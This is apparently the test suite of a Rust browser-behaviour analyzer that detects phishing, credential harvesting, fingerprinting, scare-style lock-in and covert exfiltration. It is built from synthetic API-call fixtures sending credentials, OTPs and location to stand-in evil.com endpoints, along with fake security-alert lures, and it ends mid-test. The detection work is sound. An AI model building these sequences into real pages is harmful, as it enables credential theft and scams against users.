#[test]
fn popup_pivot_to_external_url_is_detected() {
let observations = vec![Observation::ApiCall {
api: "window.open".into(),
args: vec![Value::string(
"[\"https://workers.dev/fake-login\",\"_blank\"]",
)],
result: Value::Undefined,
}];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::NetworkActivity
&& f.title.contains("Popup pivot to external URL")
}));
}
#[test]
fn wildcard_postmessage_with_credentials_is_critical() {
let observations = vec![Observation::ApiCall {
api: "postMessage.send".into(),
args: vec![Value::string(
"[{\"email\":\"victim@example.com\",\"password\":\"hunter2\"},\"*\"]",
)],
result: Value::Undefined,
}];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("wildcard postMessage")
}));
}
#[test]
fn credential_surface_plus_external_flow_is_confirmed_harvest() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("Staged credential harvesting flow")
}));
}
#[test]
fn popup_plus_postmessage_is_cross_window_handoff() {
let observations = vec![
Observation::ApiCall {
api: "window.open".into(),
args: vec![Value::string(
"[\"https://workers.dev/fake-login\",\"_blank\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "postMessage.send".into(),
args: vec![Value::string(
"[{\"email\":\"victim@example.com\",\"password\":\"hunter2\"},\"https://evil.com\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("Cross-window credential handoff")
}));
}
#[test]
fn service_worker_plus_storage_plus_fetch_is_persistent_abuse() {
let observations = vec![
Observation::ApiCall {
api: "serviceworker.register".into(),
args: vec![Value::string("[\"/sw.js?stage=credential-harvest\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "localStorage.setItem".into(),
args: vec![Value::string("[\"campaign\",\"office365\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Persistence
&& f.title.contains("Persistent staged phishing")
}));
}
#[test]
fn delayed_service_worker_campaign_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "timer.setTimeout".into(),
args: vec![Value::string("[1,5000]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "serviceworker.register".into(),
args: vec![Value::string("[\"/sw.js?stage=credential-harvest\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "localStorage.setItem".into(),
args: vec![Value::string("[\"campaign\",\"office365\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Persistence
&& f.title.contains("Delayed persistent staged abuse")
}));
}
#[test]
fn credential_surface_plus_storage_and_notification_is_stateful_reentry() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "localStorage.setItem".into(),
args: vec![Value::string("[\"campaign\",\"office365\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "notification.create".into(),
args: vec![Value::string("[\"Session expired\",\"{}\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Persistence
&& f.title
.contains("Stateful credential re-entry infrastructure")
}));
}
#[test]
fn worker_websocket_and_credential_surface_is_background_exfiltration() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "worker.create".into(),
args: vec![Value::string("[\"https://evil.com/bg.js\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "websocket.connect".into(),
args: vec![Value::string("[\"wss://evil.com/socket\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title
.contains("Background credential exfiltration channel")
}));
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Persistence
&& f.title
.contains("Background staged exfiltration infrastructure")
}));
}
#[test]
fn notification_plus_credential_surface_is_reengagement() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "notification.requestPermission".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Persistence
&& f.title
.contains("Credential lure with notification re-engagement")
}));
}
#[test]
fn wallet_plus_payment_request_is_multi_channel_theft() {
let observations = vec![
Observation::ApiCall {
api: "ethereum.request".into(),
args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "payment.request".into(),
args: vec![Value::string("[\"[]\",\"{}\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "payment.show".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CryptoTheft
&& f.title
.contains("Wallet theft with browser payment coercion")
}));
}
#[test]
fn notification_permission_plus_notification_create_is_reentry_channel() {
let observations = vec![
Observation::ApiCall {
api: "notification.requestPermission".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "notification.create".into(),
args: vec![Value::string("[\"Verify now\",\"{}\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Persistence
&& f.title.contains("Notification-based re-entry channel")
}));
}
#[test]
fn geolocation_plus_fetch_is_location_exfiltration() {
let observations = vec![
Observation::ApiCall {
api: "geolocation.getCurrentPosition".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/geo\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::PrivacyViolation
&& f.title
.contains("Location data collected and sent off-origin")
}));
}
#[test]
fn credential_surface_plus_geolocation_is_geo_targeted_lure() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "geolocation.watchPosition".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::CredentialTheft
&& f.title.contains("Geo-targeted credential lure")
}));
}
#[test]
fn fingerprint_plus_timer_plus_fetch_is_delayed_network_staging() {
let observations = vec![
Observation::FingerprintAccess {
api: "navigator.userAgent".into(),
detail: "Mozilla/5.0".into(),
},
Observation::TimerSet {
id: 1,
delay_ms: 5000,
is_interval: false,
callback_preview: "fetch('https://evil.com/stage')".into(),
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Evasion
&& f.title
.contains("Fingerprint-gated delayed network staging")
}));
}
#[test]
fn canvas_fingerprint_then_fetch_is_detected() {
let observations = vec![
Observation::FingerprintAccess {
api: "canvas.measureText".into(),
detail: "Arial".into(),
},
Observation::FingerprintAccess {
api: "canvas.toDataURL".into(),
detail: "image/png".into(),
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/fp\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Fingerprinting
&& f.title
.contains("Render/audio fingerprinting with outbound delivery")
}));
}
#[test]
fn webgl_audio_fingerprint_then_fetch_is_detected() {
let observations = vec![
Observation::FingerprintAccess {
api: "canvas.getContext.webgl".into(),
detail: "webgl".into(),
},
Observation::FingerprintAccess {
api: "webgl.getParameter".into(),
detail: "37445".into(),
},
Observation::FingerprintAccess {
api: "AudioContext.construct".into(),
detail: "AudioContext".into(),
},
Observation::FingerprintAccess {
api: "audio.createOscillator".into(),
detail: "AudioContext".into(),
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/render-fp\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Fingerprinting
&& f.title
.contains("Render/audio fingerprinting with outbound delivery")
}));
}
#[test]
fn resource_power_probe_then_fetch_is_detected() {
let observations = vec![
Observation::FingerprintAccess {
api: "navigator.storage.estimate".into(),
detail: "{\"quota\":1073741824,\"usage\":5242880}".into(),
},
Observation::FingerprintAccess {
api: "navigator.getBattery".into(),
detail: "1".into(),
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string(
"[\"https://evil.com/resource-stage\",\"POST\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High
&& f.title.contains("Resource/power-aware staged targeting")
}));
}
#[test]
fn webauthn_probe_then_fetch_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable".into(),
args: vec![],
result: Value::Bool(true),
},
Observation::ApiCall {
api: "PublicKeyCredential.get".into(),
args: vec![Value::string("{\"publicKey\":{\"challenge\":\"abc\"}}")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string(
"[\"https://evil.com/webauthn-stage\",\"POST\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High
&& f.title
.contains("Passkey/WebAuthn-targeted staged credential flow")
}));
}
#[test]
fn local_data_targeting_then_fetch_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "showOpenFilePicker".into(),
args: vec![Value::string("{\"types\":[{\"description\":\"CSV\"}]}")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "navigator.contacts.select".into(),
args: vec![Value::string("[\"name\",\"email\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string(
"[\"https://evil.com/local-data-stage\",\"POST\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High && f.title.contains("Local data-targeting staged flow")
}));
}
#[test]
fn capture_device_targeting_then_fetch_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "navigator.mediaDevices.enumerateDevices".into(),
args: vec![],
result: Value::Undefined,
},
Observation::ApiCall {
api: "navigator.mediaDevices.getDisplayMedia".into(),
args: vec![Value::string("{\"video\":true}")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string(
"[\"https://evil.com/capture-stage\",\"POST\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High && f.title.contains("Capture-device-targeted staged flow")
}));
}
#[test]
fn lifecycle_hooks_plus_beacon_are_detected() {
let observations = vec![
Observation::ApiCall {
api: "window.pagehide.register".into(),
args: vec![Value::string("[\"listener\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "document.visibilitychange.register".into(),
args: vec![Value::string("[\"listener\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "navigator.sendBeacon".into(),
args: vec![Value::string("[\"https://evil.com/exit\",\"token=abc\"]")],
result: Value::Bool(true),
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High
&& f.title.contains("Lifecycle-triggered exfiltration staging")
}));
}
#[test]
fn install_surface_persistence_staging_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "navigator.registerProtocolHandler".into(),
args: vec![Value::string(
"[\"web+pay\",\"https://evil.com/?u=%s\",\"Secure Pay\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "launchQueue.setConsumer".into(),
args: vec![],
result: Value::Undefined,
},
Observation::ApiCall {
api: "localStorage.setItem".into(),
args: vec![Value::string("[\"campaign\",\"persist\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "serviceworker.register".into(),
args: vec![Value::string("[\"/sw.js\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High && f.title.contains("Install-surface persistence staging")
}));
}
#[test]
fn offline_push_persistence_staging_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "serviceworker.register".into(),
args: vec![Value::string("[\"/sw.js?offline=stage\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "caches.open".into(),
args: vec![Value::string("[\"stage-cache\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "cache.put".into(),
args: vec![Value::string("[\"https://evil.com/offline-payload.js\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "pushManager.subscribe".into(),
args: vec![Value::string("[{\"userVisibleOnly\":true}]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "sync.register".into(),
args: vec![Value::string("[\"credential-stage\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string(
"[\"https://evil.com/offline-stage\",\"POST\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High && f.title.contains("Offline/push persistence staging")
}));
}
#[test]
fn delayed_credential_lure_activation_is_detected() {
let observations = vec![
Observation::TimerSet {
id: 1,
delay_ms: 5000,
is_interval: false,
callback_preview: "show_login()".into(),
},
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::CredentialTheft
&& f.title.contains("Delayed credential lure activation")
}));
}
#[test]
fn navigator_property_reads_count_as_fingerprinting() {
let observations = vec![
Observation::PropertyRead {
object: "navigator".into(),
property: "userAgent".into(),
value: Value::string("Mozilla/5.0"),
},
Observation::TimerSet {
id: 1,
delay_ms: 5000,
is_interval: false,
callback_preview: "fetch('https://evil.com/stage')".into(),
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.category == Category::Fingerprinting && f.title.contains("navigator.userAgent")
}));
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Evasion
&& f.title
.contains("Fingerprint-gated delayed network staging")
}));
}
#[test]
fn visibility_state_gating_before_fetch_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "fingerprint.read".into(),
args: vec![Value::string("[\"document.visibilityState\",\"visible\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Evasion
&& f.title.contains("Analysis-aware environment gating")
}));
}
#[test]
fn credential_surface_plus_paste_monitor_and_clipboard_read_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "element.addEventListener".into(),
args: vec![Value::string("[12,\"paste\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "clipboard.readText".into(),
args: vec![Value::string("[]")],
result: Value::string("123456"),
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("Pasted secret interception")
}));
}
#[test]
fn credential_surface_plus_input_monitor_is_interception() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "element.addEventListener".into(),
args: vec![Value::string("[12,\"keydown\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::CredentialTheft
&& f.title.contains("Credential field input interception")
}));
}
#[test]
fn urgent_dialog_plus_beforeunload_is_modal_lockin() {
let observations = vec![
Observation::ApiCall {
api: "window.alert".into(),
args: vec![Value::string("[\"Windows Defender Warning\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "window.beforeunload.register".into(),
args: vec![Value::string("[\"Stay here\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Evasion
&& f.title.contains("Modal lock-in and navigation trapping")
}));
}
#[test]
fn modal_lockin_plus_fetch_is_tech_support_style_staging() {
let observations = vec![
Observation::ApiCall {
api: "window.confirm".into(),
args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "window.beforeunload.register".into(),
args: vec![Value::string("[\"Your computer is infected\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/lockin\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Evasion
&& f.title
.contains("Tech-support style lock-in with off-origin staging")
}));
}
#[test]
fn urgent_dialog_plus_fullscreen_is_modal_lockin() {
let observations = vec![
Observation::ApiCall {
api: "window.alert".into(),
args: vec![Value::string("[\"Windows Defender Warning\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "element.requestFullscreen".into(),
args: vec![Value::string("[1]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Evasion
&& f.title.contains("Modal lock-in and navigation trapping")
}));
}
#[test]
fn modal_lockin_plus_pointer_lock_and_fetch_is_tech_support_style_staging() {
let observations = vec![
Observation::ApiCall {
api: "window.confirm".into(),
args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "element.requestPointerLock".into(),
args: vec![Value::string("[1]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/lockin\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Evasion
&& f.title
.contains("Tech-support style lock-in with off-origin staging")
}));
}
#[test]
fn urgent_dialog_plus_vibration_is_alarm_style_coercion() {
let observations = vec![
Observation::ApiCall {
api: "window.alert".into(),
args: vec![Value::string("[\"Windows Defender Warning\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "navigator.vibrate".into(),
args: vec![Value::string("[[200,100,200]]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::High
&& f.category == Category::Evasion
&& f.title.contains("Alarm-style coercion cues")
}));
}
#[test]
fn urgent_dialog_plus_speech_and_fetch_is_alarm_style_staging() {
let observations = vec![
Observation::ApiCall {
api: "window.confirm".into(),
args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "speechSynthesis.speak".into(),
args: vec![Value::string("[\"Your device is infected\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/panic\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Evasion
&& f.title
.contains("Alarm-style coercion with off-origin staging")
}));
}
#[test]
fn credential_surface_plus_input_monitor_and_fetch_is_interactive_relay() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "element.addEventListener".into(),
args: vec![Value::string("[12,\"input\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/stream\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title
.contains("Interactive credential interception and relay")
}));
}
#[test]
fn credential_surface_plus_window_name_and_fetch_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "window.name.set".into(),
args: vec![Value::string("[\"https://evil.com/steal\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/steal\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("Credential relay via window.name")
}));
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Persistence
&& f.title
.contains("Cross-navigation covert staging via window.name")
}));
}
#[test]
fn credential_surface_plus_sharedworker_message_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.com/collect\",\"password\",\"true\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "sharedworker.create".into(),
args: vec![Value::string("[\"https://evil.com/relay.js\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "sharedworker.port.postMessage".into(),
args: vec![Value::string(
"[\"https://evil.com/relay.js\",\"otp=123456\"]",
)],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("Credential relay via SharedWorker")
}));
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title
.contains("Credential relay via in-browser covert channels")
}));
}
#[test]
fn credential_api_plus_fetch_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "credentials.create".into(),
args: vec![Value::string(
"[\"{\\\"id\\\":\\\"victim@example.com\\\"}\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "PasswordCredential".into(),
args: vec![Value::string("[\"victim@example.com\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/collect\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title
.contains("Credential API abuse with off-origin activity")
}));
}
#[test]
fn indexeddb_backed_credential_staging_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string("[\"https://evil.com/login\",\"POST\",true]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "indexedDB.open".into(),
args: vec![Value::string("[\"vault\",1]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/collect\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Persistence
&& f.title.contains("IndexedDB-backed credential staging")
}));
}
#[test]
fn trusted_types_and_scheduler_staging_are_detected() {
let observations = vec![
Observation::ApiCall {
api: "trustedTypes.createPolicy".into(),
args: vec![Value::string("[\"stage-loader\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "scheduler.postTask".into(),
args: vec![Value::string("[\"background\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "serviceworker.register".into(),
args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High
&& f.category == Category::Evasion
&& f.title.contains("Scheduler-driven delayed staging")
}));
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::Medium
&& f.category == Category::Evasion
&& f.title.contains("Trusted Types policy")
}));
}
#[test]
fn request_idle_callback_staging_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "requestIdleCallback".into(),
args: vec![Value::string("[\"250\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "serviceworker.register".into(),
args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High
&& f.category == Category::Evasion
&& f.title.contains("Scheduler-driven delayed staging")
}));
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::Medium
&& f.category == Category::Evasion
&& f.title.contains("requestIdleCallback")
}));
}
#[test]
fn animation_frame_and_microtask_staging_are_detected() {
let observations = vec![
Observation::ApiCall {
api: "requestAnimationFrame".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "queueMicrotask".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "serviceworker.register".into(),
args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High
&& f.category == Category::Evasion
&& f.title.contains("Scheduler-driven delayed staging")
}));
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::Medium
&& f.category == Category::Evasion
&& f.title.contains("requestAnimationFrame")
}));
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::Medium
&& f.category == Category::Evasion
&& f.title.contains("queueMicrotask")
}));
}
#[test]
fn current_script_plus_dynamic_code_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "fingerprint.read".into(),
args: vec![Value::string(
"[\"document.currentScript\",\"[object HTMLScriptElement]\"]",
)],
result: Value::Undefined,
},
Observation::DynamicCodeExec {
source: crate::observation::DynamicCodeSource::Eval,
code_preview: "eval(document.currentScript.textContent)".into(),
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High
&& f.category == Category::Evasion
&& f.title.contains("Self-referential dynamic loader")
}));
}
#[test]
fn encrypted_payload_staging_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "crypto.subtle.importKey".into(),
args: vec![Value::string("[\"raw\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "crypto.subtle.decrypt".into(),
args: vec![Value::string("[\"AES-GCM\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.com/stage\",\"POST\"]")],
result: Value::Undefined,
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity >= Severity::High
&& f.category == Category::CodeInjection
&& f.title
.contains("Encrypted payload staging and action delivery")
}));
}
#[test]
fn decrypted_payload_plus_dynamic_code_is_detected() {
let observations = vec![
Observation::ApiCall {
api: "crypto.subtle.decrypt".into(),
args: vec![Value::string("[\"AES-GCM\"]")],
result: Value::Undefined,
},
Observation::DynamicCodeExec {
source: crate::observation::DynamicCodeSource::Eval,
code_preview: "eval(decryptedStage)".into(),
},
];
let report = analyze(&observations);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CodeInjection
&& f.title
.contains("Decrypted payload executed via dynamic code")
}));
}
#[test]
fn webrtc_data_channel_send_is_covert_exfiltration() {
let report = analyze(&[
Observation::ApiCall {
api: "webrtc.peer_connection".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "webrtc.data_channel".into(),
args: vec![Value::string("[\"telemetry\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
